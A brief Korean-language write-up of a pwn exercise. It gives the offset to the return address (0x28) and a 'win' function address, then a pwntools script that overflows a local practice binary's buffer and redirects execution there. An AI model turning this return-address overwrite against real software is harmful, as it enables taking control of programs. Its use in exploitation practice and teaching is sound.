-0x24 ~ 0x04(ret) 거리 0x28
win 주소 0x08048526
주소는 리틀엔디안 32bit으로 넣어주면 된다.
from pwn import * r = process("./exercise1") r.sendafter(" : ", "a"*0x28 + p32(0x08048526)) r.interactive()
